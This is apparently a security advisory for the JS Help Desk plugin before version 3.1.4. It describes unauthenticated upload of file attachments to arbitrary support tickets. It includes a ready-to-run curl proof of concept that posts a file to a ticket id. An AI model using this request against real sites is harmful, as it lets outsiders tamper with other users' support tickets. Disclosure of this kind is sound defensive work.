JS Help Desk < 3.1.4 – Unauthenticated Arbitrary Ticket File Attachment Upload | CVE 2026-14930

Description

The plugin does not perform any authorization, nonce, or ownership check on a front-end request dispatcher, allowing unauthenticated users to upload files (limited to the plugin's inert allowed extensions) and attach them to arbitrary users' support tickets.

Proof of Concept

Prerequisites: An existing target ticket id (a guest can create one via the public ticket form, or target a low sequential id). Default configuration (inert file-extension allowlist).

Fully unauthenticated (no cookies, no nonce):
  curl -X POST "https://victim.example/" \
    -F "form_request=jssupportticket" -F "jstmod=attachment" -F "task=saveattachments" \
    -F "ticketid=5" -F "filename[]=@payload.png;type=image/png"

Result: HTTP 302; payload.png is written into ticket 5's attachment folder and a new attachment DB row is created for ticket 5, with no authentication. The attachment then displays on ticket 5 to its owner/agents/admins. A .php/.svg/.html file is rejected by the default allowlist, so this is bounded to inert types (not RCE/XSS on default config).